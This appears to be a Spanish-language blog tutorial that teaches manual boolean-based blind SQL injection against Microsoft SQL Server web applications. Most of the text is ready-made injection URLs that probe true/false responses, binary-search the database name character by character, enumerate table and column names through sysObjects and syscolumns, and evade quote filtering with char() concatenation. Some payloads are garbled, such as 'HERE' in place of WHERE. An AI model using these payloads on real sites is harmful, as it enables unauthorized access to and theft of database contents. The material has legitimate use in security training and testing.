En este tutorial usted aprenderá cómo
realizar y explotar la inyección de Blind SQL paso a paso de forma manual
con ayuda de expertos de seguridad de aplicaciones web y seguridad en base de datos.
¿QUÉ
ES INYECCIÓN DE BLIND SQL?
Según
el curso de seguridad en base de datos, Inyección de Blind SQL es un tipo de
ataque de inyección SQL que hace las consultas de verdadero o falso a la base
de datos y determina la respuesta basándose en la respuesta de las
aplicaciones.
En
algunos casos, el uso normal de inyección SQL no sirve. La inyección Blind sql
es otro método que puede ayudarte. El punto importante en la inyección de blind
sql es la diferencia entre el resultado de la consulta válido y no válido.
Usted tiene que inyectar un comando que deje una consulta válida o inválida y
observar la respuesta menciona expertos de seguridad de aplicaciones web.
¿CÓMO
PROBAR INYECCIÓN DE BLIND SQL EN UNA APLICACIÓN?
Permitámonos
suponer que http://www.example.com/page.asp?id=1 es una dirección URL normal de
la página web. Por lo que permite comprobar la vulnerabilidad de la página web
mediante el uso de condiciones verdaderas y falsas como 1 = 2, 1 = 1 o 0> 1.
http://www.example.com/page.asp?id=1
and 1=1 (True)http://www.example.com/page.asp?id=1 and 1=2
(False)http://www.example.com/page.asp?id=1 and 0>1 (False)
Si los
resultados de estas consultas son diferentes, será una buena señal. Eso
significa que el sitio web es vulnerable a inyección de blindmssql SQL. Cuando
se pone “id = 1 and 1 = 1”, significa que la condición es verdadera, así la
respuesta debe ser normal. Sin embargo, el parámetro “id = 1 and 1 = 2” indica
que la condición es falsa y si el administrador no proporciona un filtro
adecuado, la respuesta difiere absolutamente de la anterior.
LA
EXTRACCIÓN DE DATOS A TRAVÉS DE INYECCIÓN DE BLIND SQL
Mediante
el uso de esta base de datos se puede extraer, pero hay que pasar más tiempo en
eso. Usted conseguirá un único carácter de la palabra mediante la ejecución de
las algunas consultas.
El
experto de seguridad de aplicaciones web explica un ejemplo de la consulta el
primer carácter del nombre de la base de datos. Suponemos que el nombre de la
base de datos es member. Por lo tanto, el primer carácter es “m”, que es el
valor ascıı 109. (En este punto, se supone que conoce el código ascıı).
Ok, en
primer lugar, tenemos que saber que los resultados de las solicitudes tienen
sólo 2 formas.
Los
siguientes pasos son dependiendo de cada persona. Tu idea puede ser diferente
de nuestra idea con el fin de recoger el código ascii de consulta de prueba.
http://www.example.com/page.asp?id=1
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS
varchar(8000)),1,1)),0)>90
En esta
situación, el resultado será el resultado de la consulta válida como
http://www.example.com/page.asp?id=1
and 1=1
(Debido
a que el primer carácter del nombre de la base de datos es “m”, que es el
código ascii 109). A continuación, tratamos
http://www.example.com/page.asp?id=1
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS
varchar(8000)),1,1)),0)>120
Sin
duda, es que el resultado será como
http://www.example.com/page.asp?id=1
y 1 = 2 (porque
109 absolutamente menos de 120).
A
continuación, vamos a tratar,
http://www.example.com/page.asp?id=1
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS
varchar(8000)),1,1)),0)>105
El
resultado es un resultado de la consulta válida y en este punto, el valor ascii
del primer carácter del nombre de la base es de entre 105 y 120.
Por lo
tanto, tratamos
http://www.example.com/page.asp?id=1
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS
varchar(8000)),1,1)),0)>112 ===> invalid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT
LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108 ===> valid query result
http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT
LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110 ===> invalid query
result http://www.example.com/page.asp?id=1 AND
ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS
varchar(8000)),1,1)),0)>109 ===> invalid query result
Usted
puede ver que el primer carácter del nombre de base de datos tiene un valor
ascii mayor que 108, pero no es mayor que 109. Por lo tanto, podemos concluir
que el valor ascıı es igual a 109.
Se
puede probar con:
http://www.example.com/page.asp?id=1
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS
varchar(8000)),1,1)),0)=109
Estamos
seguros de que el resultado es como el resultado de http://www.target.com/page.php?id=1
and 1=1
Lo
demás que tienes que hacer es manipular algunas consultas para recoger su
información preferida.
En este
tutorial, el experto de seguridad en base de datos se proponen algunas consultas
de ejemplo con el fin de encontrar los nombres de tablas y columnas de la base
de datos.
LA EXTRACCIÓN DE NOMBRES DE TABLA A
TRAVÉS DE INYECCIÓN DE BLINDMSSQL SQL
Con el
fin de obtener el nombre de tabla, podemos utilizar el método anterior para
obtener cada carácter del nombre de la tabla. Lo único que tenemos que hacer es
cambiar la consulta para recuperar el nombre de tabla de base de datos actual.
Como MSSQL no tiene comando de limit. Por lo tanto, la consulta es un poco
complicada.
http://www.example.com/page.asp?id=1
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE
xtYpe=0x55)) AS varchar(8000)),1,1)),0)>97
La
consulta anterior se utiliza para determinar el primer carácter de primera
tabla en la base de datos actual. Si queremos encontrar segundo carácter de la
primera tabla, podemos hacerlo mediante siguiente consulta:
http://www.example.com/page.asp?id=1
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE
xtYpe=0x55)) AS varchar(8000)),2,1)),0)>97
Cambiamos
el segundo parámetro de la función del substring desde 1 hasta 2 con el fin de
especificar la posición preferida del personaje en nombre de la tabla.
Por lo
tanto, si queremos determinar otros puntos, nosotros sólo necesitamos cambiar
segundo parámetro de la función del
substring menciona experto de seguridad en base de datos.
En el
caso de otras tablas, podemos encontrar otros nombres de tabla cambiando la
segunda De “SELECT TOP 1” a ser “SELECT TOP 2”, “SELECT TOP 3” y así
sucesivamente.
http://www.example.com/page.asp?id=1
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE
xtYpe=0x55)) AS varchar(8000)),1,1)),0)=97
La extracción de nombres de columna a través de inyección de
BlindMssql SQL
Después
obtenemos los nombres de tabla, la siguiente información de objetivo son
absolutamente los nombres de las columnas.
http://www.example.com/page.asp?id=1
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT
COUNT(i.colid)rid FROM syscolumns i HERE(i.colid<=o.colid) AND id=(SELECT id
FROM sysobjects WHERE name=’tablename’))x,name FROM syscolumns o WHERE
id=(SELECT id FROM sysobjects WHERE name=’tablename’)) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97
Con el
fin de eludir el filtrado de magic quote, usted tiene que cambiar “tablename”
que es la forma de concatenar comandos char (). Por ejemplo, si el nombre de
tabla es “user”, cuando ponemos “user” en la consulta, “puede ser filtrado y
nuestra consulta será incorrecta. Según los expertos de seguridad
de aplicaciones web, la solución es convertir
‘user’ es
char(117)+char(115)+char(101)+char(114).
Por lo tanto,
la consulta en la cláusula where cambia de
“Where
name=’user’” to “Where name=char(117)+char(115)+char(101)+char(114)”.
En este
caso, podemos evitar el filtrado de magic quote. El resultado de la solicitud
anterior es el primer carácter del nombre de la primera columna de la tabla
específica.
Según
curso de seguridad en base de datos, cuando queremos encontrar el segundo
carácter de la primera columna, podemos utilizar el mismo método que conseguir
nombre de la tabla, cambiando el segundo parámetro de la función del substring.
http://www.example.com/page.asp?id=1
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT
COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT
id FROM sysobjects WHERE name=’tablename’))x,name FROM syscolumns o WHERE
id=(SELECT id FROM sysobjects WHERE name=’tablename’)) as p WHERE(p.x=1))AS
varchar(8000)),2,1)),0)>97
La
solicitud anterior se utiliza para determinar el segundo carácter de la primera
columna de la tabla nombre específico.
Según
los expertos de seguridad de aplicaciones web, en el caso de la determinación de otras
columnas, podemos hacerlo cambiando el valor p.x de 1 a 2,3,4 y así
sucesivamente. como,
http://www.example.com/page.asp?id=1
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT
COUNT(i.colid)rid FROM syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT
id FROM sysobjects WHERE name=’tablename’))x,name FROM syscolumns o WHERE
id=(SELECT id FROM sysobjects WHERE name=’tablename’)) as p WHERE(p.x=2))AS
varchar(8000)),1,1)),0)>97
El
primer carácter del segundo nombre de la columna en la tabla específica puede
ser determinado por la consulta anterior. Pueden aprender más sobre inyección
de Blind SQL durante la capacitación de seguridad de aplicaciones web o
seguridad en base de datos.
0 comments:
Post a Comment